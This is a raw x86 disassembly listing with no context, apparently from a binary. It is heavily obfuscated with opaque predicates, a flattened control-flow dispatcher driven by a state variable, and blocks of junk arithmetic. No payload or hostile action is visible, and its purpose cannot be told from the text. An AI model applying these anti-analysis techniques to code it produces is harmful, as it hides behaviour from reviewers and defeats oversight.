xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xb76ad3f3
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x830c0], eax
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
xor edx, edx
sub edx, 1
add edx, 0
mov edi, 0xf478dff2
add edi, 0
add edi, edx
sub edi, 0xf478dff2
xor esi, esi
sub esi, 0xa70875fe
sub esi, ecx
add esi, 0xa70875fe
xor edx, edx
sub edx, 0xc62517dc
sub edx, edi
add edx, 0xc62517dc
sub esi, 0x66333210
add esi, edx
add esi, 0x66333210
xor edx, edx
sub edx, 0xdeeb8bc1
sub edx, esi
add edx, 0xdeeb8bc1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl bl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov ch, dl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, ch
or al, ah
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, 1
xor al, 1
and al, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor al, 0xff
mov ah, dl
xor ah, al
and ah, dl
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x8356f], al
mov ah, bl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov bh, bl
xor bh, cl
and bh, bl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x835a4], ch
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and al, cl
mov dh, ah
and dh, 0
and bh, cl
or ch, al
mov al, byte [ebp - 0x835a4]
or dh, bh
xor ch, dh
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov cl, 1
xor cl, 0
and cl, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, dh
or al, ah
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 0
mov ah, 1
xor ah, 0
mov bh, ah
and bh, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dh, bh
or al, ah
xor dh, al
mov al, 1
xor al, 0
xor dh, 0xff
mov ah, 1
xor ah, 1
or al, dh
or ah, 1
xor al, 0xff
and al, ah
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x835a2], dh
mov bh, al
xor bh, 0xff
mov ah, 1
xor ah, 0
and dh, 0
mov byte [ebp - 0x835a3], dh
and cl, ah
mov dh, bh
and dh, 0
and al, ah
mov byte [ebp - 0x835a1], al
mov al, byte [ebp - 0x835a3]
or al, cl
mov cl, byte [ebp - 0x835a2]
mov byte [ebp - 0x835a0], al
mov al, byte [ebp - 0x835a1]
or dh, al
mov al, byte [ebp - 0x835a0]
xor al, dh
mov dh, byte [ebp - 0x8356f]
or cl, bh
xor cl, 0xff
or ah, 0
and cl, ah
or al, cl
mov byte [ebp - 0x8356b], al
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
mov al, ah
and al, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bh, al
mov al, byte [ebp - 0x8356b]
or cl, ah
xor bh, cl
mov cl, dh
xor cl, 0xff
mov ah, bh
and ah, cl
xor bh, 0xff
mov cl, dh
and cl, bh
or ah, cl
xor ah, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 0
or ah, dh
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
mov byte [ebp - 0x8359f], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, 1
xor dl, 1
and dl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov dh, 1
xor dh, 1
and dh, 0
and bh, 1
or dl, al
mov al, byte [ebp - 0x8359f]
or dh, bh
xor dl, dh
mov byte [ebp - 0x8359c], dl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x8359b], bh
mov dh, cl
xor dh, 0xff
mov dl, 1
xor dl, 1
and bh, 0xff
and al, dl
mov byte [ebp - 0x8359e], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x8359d], al
mov al, byte [ebp - 0x8359e]
and cl, dl
or bh, al
mov al, byte [ebp - 0x8359d]
or al, cl
mov cl, byte [ebp - 0x8359c]
xor bh, al
mov al, byte [ebp - 0x8359b]
or al, dh
xor al, 0xff
or dl, 1
and al, dl
or bh, al
mov dl, 1
xor dl, 1
mov byte [ebp - 0x83597], dl
mov dh, cl
xor dh, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x83598], al
and dl, 0xff
and al, 1
mov byte [ebp - 0x8359a], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x83599], al
mov al, byte [ebp - 0x83598]
and cl, al
mov al, byte [ebp - 0x8359a]
or dl, al
mov al, byte [ebp - 0x83599]
or al, cl
mov cl, byte [ebp - 0x83598]
xor dl, al
mov al, byte [ebp - 0x83597]
or al, dh
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and bh, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or cl, bh
or al, dh
xor cl, al
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov byte [ebp - 0x8358f], al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov dh, ch
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov byte [ebp - 0x83596], al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov dl, 1
xor dl, 0
and dl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 0
mov dh, 1
xor dh, 1
and dh, 0
and bh, 1
or dl, al
mov al, byte [ebp - 0x83596]
or dh, bh
xor dl, dh
mov byte [ebp - 0x83592], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x83593], dl
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
and dl, 0xff
and al, dh
mov byte [ebp - 0x83595], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x83594], al
mov al, byte [ebp - 0x83595]
and cl, dh
or dl, al
mov al, byte [ebp - 0x83594]
or al, cl
mov cl, byte [ebp - 0x83593]
xor dl, al
mov al, byte [ebp - 0x83592]
or cl, bh
xor cl, 0xff
or dh, 1
and cl, dh
or dl, cl
mov dh, al
and dh, 0
xor al, 0
or dh, al
mov cl, dl
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and dl, bh
mov al, 1
xor al, 1
and al, 0
and bh, 1
or cl, dl
mov dl, byte [ebp - 0x8356b]
or al, bh
xor cl, al
xor dh, 0xff
mov al, cl
xor al, dh
and al, cl
mov byte [ebp - 0x83584], al
mov al, bl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or al, bl
or cl, dh
xor al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or dl, bh
or dh, bl
xor dl, dh
mov byte [ebp - 0x8358e], dl
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dl, dh
and dl, 0xff
and al, bl
mov byte [ebp - 0x83591], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x83590], al
mov al, byte [ebp - 0x83591]
and cl, bl
or dl, al
mov al, byte [ebp - 0x83590]
or al, cl
mov cl, byte [ebp - 0x8358f]
xor dl, al
mov al, byte [ebp - 0x8358e]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or dl, dh
mov dh, al
and dh, 1
xor al, 1
or dh, al
mov al, dl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dl, bl
or al, dl
xor al, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 0
or al, dh
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0x83586], al
mov dl, ah
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov bl, ah
and bl, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov byte [ebp - 0x8358b], dl
mov bh, cl
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
mov bl, cl
and bl, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or bh, bl
or al, dh
xor bh, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov byte [ebp - 0x83589], bl
xor dl, 0xff
mov dh, 1
xor dh, 1
mov al, 1
xor al, 0
or dl, dh
or al, 0
xor dl, 0xff
and dl, al
xor ah, 0xff
mov dh, bl
xor dh, 0xff
mov al, 1
xor al, 0
or ah, dh
or al, 0
xor ah, 0xff
and ah, al
mov dh, 1
xor dh, 1
mov al, bh
xor al, dh
and al, bh
xor cl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 1
or cl, bl
or dh, 1
xor cl, 0xff
and cl, dh
mov dh, dl
and dh, ah
xor dl, ah
or dh, dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x8358a], ah
mov bl, cl
xor bl, 0xff
mov dl, 1
xor dl, 0
and ah, 0
and al, dl
mov byte [ebp - 0x8358d], al
mov al, bl
and al, 0
mov byte [ebp - 0x8358c], al
mov al, byte [ebp - 0x8358d]
and cl, dl
or ah, al
mov al, byte [ebp - 0x8358c]
or al, cl
mov cl, byte [ebp - 0x8358b]
xor ah, al
mov al, byte [ebp - 0x8358a]
or al, bl
xor al, 0xff
or dl, 0
and al, dl
or ah, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, bl
or al, dh
or dl, ah
xor al, dl
mov byte [ebp - 0x83585], al
mov dl, cl
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
and cl, ah
mov bl, dh
and bl, 0
and bh, ah
or al, cl
mov cl, byte [ebp - 0x83589]
or bl, bh
xor al, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov ah, 1
xor ah, 1
mov dh, cl
xor dh, 0xff
mov bh, 1
xor bh, 1
mov bl, ah
and bl, 0xff
mov al, bh
and al, 1
mov byte [ebp - 0x83588], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x83587], al
mov al, byte [ebp - 0x83588]
and cl, bh
or bl, al
mov al, byte [ebp - 0x83587]
or al, cl
mov cl, byte [ebp - 0x83586]
xor bl, al
mov al, byte [ebp - 0x83585]
or ah, dh
mov dh, byte [ebp - 0x83584]
xor ah, 0xff
or bh, 1
and ah, bh
or bl, ah
xor dl, 0xff
xor bl, 0xff
mov ah, 1
xor ah, 0
or dl, bl
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov bh, dh
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, dh
or al, dl
xor bh, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
mov al, cl
and al, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or dl, al
mov al, byte [ebp - 0x83584]
or dh, bl
xor dl, dh
mov byte [ebp - 0x8357c], dl
mov dh, 1
xor dh, 0
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
or dh, dl
mov byte [ebp - 0x8357e], dh
mov bl, 1
xor bl, 0
mov dl, bh
xor dl, bl
and dl, bh
xor dh, 0xff
mov bl, al
xor bl, dh
mov dh, byte [ebp - 0x8357c]
and bl, al
mov al, 1
xor al, 0
xor dh, al
mov al, byte [ebp - 0x8357c]
and dh, al
mov al, byte [ebp - 0x8357e]
mov byte [ebp - 0x83583], dh
xor cl, 0xff
xor al, 0xff
mov dh, 1
xor dh, 1
or cl, al
mov al, byte [ebp - 0x83583]
or dh, 1
xor cl, 0xff
and cl, dh
mov dh, dl
and dh, bl
xor dl, bl
or dh, dl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x8357f], bl
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x83580], dl
mov dl, 1
xor dl, 0
and bl, 0
and al, dl
mov byte [ebp - 0x83582], al
mov al, byte [ebp - 0x83580]
and al, 0
mov byte [ebp - 0x83581], al
mov al, byte [ebp - 0x83582]
and cl, dl
or bl, al
mov al, byte [ebp - 0x83581]
or al, cl
mov cl, byte [ebp - 0x83580]
xor bl, al
mov al, byte [ebp - 0x8357f]
or al, cl
mov cl, byte [ebp - 0x8357e]
xor al, 0xff
or dl, 0
and al, dl
or bl, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0x8357d], dh
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0x8357d]
or dl, al
mov al, byte [ebp - 0x8357c]
or dh, bl
xor dl, dh
mov byte [ebp - 0x83575], dl
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x83579], bl
mov dh, al
xor dh, 0xff
mov dl, 1
xor dl, 0
and bl, 0
and bh, dl
mov byte [ebp - 0x8357b], bh
mov bh, dh
and bh, 0
and al, dl
mov byte [ebp - 0x8357a], al
mov al, byte [ebp - 0x8357b]
or bl, al
mov al, byte [ebp - 0x8357a]
or bh, al
mov al, byte [ebp - 0x83579]
xor bl, bh
or al, dh
xor al, 0xff
or dl, 0
and al, dl
or bl, al
mov al, bl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or al, bl
or dl, dh
xor al, dl
mov byte [ebp - 0x83576], al
mov dh, 1
xor dh, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dl, dh
and dl, 0xff
mov al, bl
and al, 0
mov byte [ebp - 0x83578], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x83577], al
mov al, byte [ebp - 0x83578]
and cl, bl
or dl, al
mov al, byte [ebp - 0x83577]
or al, cl
mov cl, byte [ebp - 0x83576]
xor dl, al
mov al, byte [ebp - 0x83575]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or dl, dh
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x83574], cl
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
and al, dl
mov bl, dh
and bl, 0xff
and bh, dl
or cl, al
mov al, byte [ebp - 0x83574]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bh, dh
or al, dl
xor bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov dh, dl
xor dh, 0xff
mov al, ah
xor al, dh
and al, ah
mov dh, cl
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
mov ah, cl
and ah, bl
or dh, ah
mov bl, 1
xor bl, 1
mov ah, dh
xor ah, bl
and ah, dh
mov byte [ebp - 0x83571], ah
xor dl, 0xff
mov dh, cl
xor dh, dl
and dh, cl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and bh, ah
mov byte [ebp - 0x83573], bh
mov bh, bl
and bh, 0xff
and al, ah
mov byte [ebp - 0x83572], al
mov al, byte [ebp - 0x83573]
or cl, al
mov al, byte [ebp - 0x83572]
or bh, al
mov al, byte [ebp - 0x83571]
xor cl, bh
or dl, bl
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov byte [ebp - 0x83570], cl
mov cl, al
xor cl, 0xff
mov bl, dh
xor bl, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
and al, ah
mov bh, bl
and bh, 0xff
and dh, ah
or dl, al
mov al, byte [ebp - 0x83570]
or bh, dh
mov dh, byte [ebp - 0x8356f]
xor dl, bh
or cl, bl
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov ah, al
xor ah, 0xff
mov cl, dl
and cl, ah
xor dl, 0xff
and al, dl
or cl, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov al, ch
and al, dh
or ah, al
mov bh, 1
xor bh, 1
and bh, 1
mov bl, 1
xor bl, 1
mov al, bl
and al, 1
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or bh, al
mov al, byte [ebp - 0x8356f]
or dh, bl
xor bh, dh
mov byte [ebp - 0x8356d], bh
mov bl, 1
xor bl, 1
mov dh, dl
xor dh, bl
and dh, dl
xor al, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
or al, bh
or bl, 1
xor al, 0xff
and al, bl
mov byte [ebp - 0x8356e], al
mov bl, ah
xor bl, 0xff
mov al, 1
xor al, 1
mov bh, 1
xor bh, 0
or bl, al
mov al, byte [ebp - 0x8356d]
or bh, 0
xor bl, 0xff
and bl, bh
xor al, 0xff
mov bh, ch
xor bh, al
mov al, byte [ebp - 0x8356e]
and bh, ch
mov ch, dh
and ch, al
xor dh, al
mov al, byte [ebp - 0x8356d]
or ch, dh
mov dh, bl
and dh, bh
xor bl, bh
or dh, bl
mov bl, ch
xor bl, 0xff
mov bh, dh
and bh, bl
xor dh, 0xff
and ch, dh
or bh, ch
mov ch, dl
and ch, ah
xor dl, ah
or ch, dl
mov bl, ch
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or bl, ch
or dl, ah
xor bl, dl
mov dl, al
and dl, 1
xor al, 1
or dl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bl, dl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
mov dh, al
and dh, 0xff
and bh, dl
mov ch, ah
and ch, 0xff
and bl, dl
or dh, bh
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, dh
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, ch
or al, dl
xor ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
xor dh, 0xff
mov ch, dl
xor ch, 0xff
mov al, 1
xor al, 1
or dh, ch
or al, 1
xor dh, 0xff
and dh, al
mov ch, 1
xor ch, 1
and ch, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov bl, 1
xor bl, 0
mov al, ch
xor al, bl
and al, ch
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x8356c], ah
mov bl, dl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ah, 0
and al, dh
mov bh, bl
and bh, 0
and dl, dh
or ah, al
mov al, byte [ebp - 0x8356c]
or bh, dl
mov dl, byte [ebp - 0x8356b]
xor ah, bh
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ah, al
mov dh, ch
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and ch, bl
mov al, ah
xor al, 0xff
and al, 0xff
and ah, bl
or dh, ch
or al, ah
xor dh, al
mov al, dl
xor al, 0xff
xor al, 0
and al, 0
mov ah, 1
xor ah, 0
mov bh, dl
and bh, ah
xor dl, 0xff
and dl, 0
or bh, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x8356a], dl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
and dl, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or dl, al
mov al, byte [ebp - 0x8356a]
or bl, bh
xor dl, bl
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or dl, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov bh, dl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and dl, ah
or bh, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
mov byte [ebp - 0x83569], dl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dh, dl
and dh, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or dh, al
mov al, byte [ebp - 0x83569]
or bl, bh
xor dh, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or dh, dl
mov dl, al
and dl, 1
xor al, 1
or dl, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor dl, 0xff
mov dh, al
xor dh, dl
and dh, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov ch, cl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov byte [ebp - 0x83564], dl
mov bh, dh
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
mov ch, dh
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov byte [ebp - 0x83566], ch
mov ah, 1
xor ah, 0
mov al, dl
xor al, ah
and al, dl
xor cl, 0xff
mov ah, ch
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, bh
xor dl, 0xff
mov bl, 1
xor bl, 0
mov ah, 1
xor ah, 1
or dl, bl
or ah, 1
xor dl, 0xff
and dl, ah
xor dh, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or dh, ch
or ah, 1
xor dh, 0xff
and dh, ah
mov ch, al
xor ch, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x83565], ah
mov bl, 1
xor bl, 0
mov ah, ch
and ah, 0
and al, bl
mov byte [ebp - 0x83568], al
mov al, byte [ebp - 0x83565]
and al, 0
mov byte [ebp - 0x83567], al
mov al, byte [ebp - 0x83568]
and cl, bl
or ah, al
mov al, byte [ebp - 0x83567]
or al, cl
mov cl, byte [ebp - 0x83566]
xor ah, al
mov al, byte [ebp - 0x83565]
or ch, al
mov al, byte [ebp - 0x83564]
xor ch, 0xff
or bl, 0
and ch, bl
or ah, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov byte [ebp - 0x83563], dl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x83563]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
mov ah, cl
and ah, 0
xor cl, 0
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9177fcde
mov ecx, 0x96ded714
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x219a5f40
jmp 0x42c10b
and edi, 0x91
not eax
sub esi, 0xb3
not esi
inc edx
inc edx
bswap edx
dec eax
rol eax, 0x84
and ebx, 0x2f
neg edx
sub esi, 0x57
not edx
inc eax
and edi, 5
sub ebx, 0x30
neg edx
sub esi, 0x1a
neg edi
neg esi
neg edi
neg esi
inc esi
dec edx
add edi, 0x68
inc edi
rol ebx, 0x75
or edi, 0xf0
neg edi
bswap ebx
sub esi, 0x69
rcr edi, 0x66
sbb ebx, 0xac
sbb esi, 0x88
bswap esi
or edi, 0xc7
and esi, 0xc8
inc ebx
rcl edx, 0x17
add ebx, 0xe6
add eax, 0xc6
inc ebx
add edi, 0xb1
mov edi, 0x57
ror eax, 0x55
neg edx
inc eax
rcr edx, 0x3e
dec ebx
sbb esi, 0x10
dec edi
rcl esi, 8
ror esi, 0x18
neg edx
not eax
neg edx
rol edx, 0x1d
sbb ebx, 0x9b
ror esi, 0x4d
bswap esi
inc esi
imul esi
sbb esi, 0x5d
dec esi
rol ebx, 0xe9
sbb ebx, 0x30
dec esi
and edi, 4
rol edi, 0x76
rcr edx, 0x9c
rcr esi, 0x58
not eax
bswap ebx
inc edi
imul esi
or edi, 0xc3
and eax, 0x28
neg ebx
bswap edx
imul edi
mov edi, 0x48
dec eax
imul ebx
sub edi, 0x57
rcr ebx, 0x54
neg ebx
or edx, 0x81
inc esi
add eax, 0x7b
ror edx, 0xb5
sub edx, 0x38
dec edi
and eax, 0xf8
bswap ebx
inc eax
rol edi, 0x72
ror edi, 0xfd
dec edx
ror ebx, 0xe1
rcl edi, 0x26
imul ebx
rcl esi, 0x81
dec edi
imul eax
imul esi
dec edx
not esi
inc edi
bswap edi
bswap esi
imul eax
sub esi, 0x38
rcr edx, 0x4d
dec eax
rcr edi, 5
sub edx, 0xdb
rcr edi, 0xee
neg esi
mov ebx, 0x35
inc eax
or edi, 0x33
add edx, 0x26
bswap eax
not eax
rcl edi, 0x81
ror edi, 0x9e
dec edi
imul edx
inc esi
rcr ebx, 0xc6
bswap eax
mov edx, 0xc1
not edi
not edx
sub esi, 0x63
not eax
bswap esi
ror ebx, 0xd8
neg esi
neg edi
sbb edi, 0x7c
sbb ebx, 0x57
rcr esi, 0x93
and esi, 0x7f
rol eax, 0xa2
not ebx
or edi, 0xa3
ror edx, 0xc0
ror eax, 0xbc
imul ebx
mov dword [ebp - 0x83178], eax
mov dword [ebp - 0x831e0], 0x8a83db0e
jmp 0x42c10b
mov dword [ebp - 0x831d4], 0
mov dword [ebp - 0x831e0], 0xfbcae03c
jmp 0x42c10b
mov dword [ebp - 0x831d8], 0x40
mov dword [ebp - 0x831e0], 0xfe5ebeff
jmp 0x42c10b
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
mov edx, ecx
add edx, 0x4ba2f237
sub edx, 0x50835037
sub edx, 0x4ba2f237
xor esi, esi
sub esi, 0xcaec1ad1
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x50835037
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xaf1a265b
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x94a129cc
sub edx, 1
sub edx, 0x94a129cc
xor esi, esi
sub esi, 0xaf1a265b
add edx, esi
xor esi, esi
sub esi, 0x38d7b3b
sub edx, esi
sub edx, 0x2b76841b
sub edx, 0xcaec1ad1
add edx, 0x2b76841b
xor esi, esi
sub esi, 0x38d7b3b
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bh
cmp eax, 0xa
setl bl
mov dl, bh
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ah, bh
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov al, 1
xor al, 0
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov dl, 1
xor dl, 0
and dl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov ah, dl
xor ah, 0xff
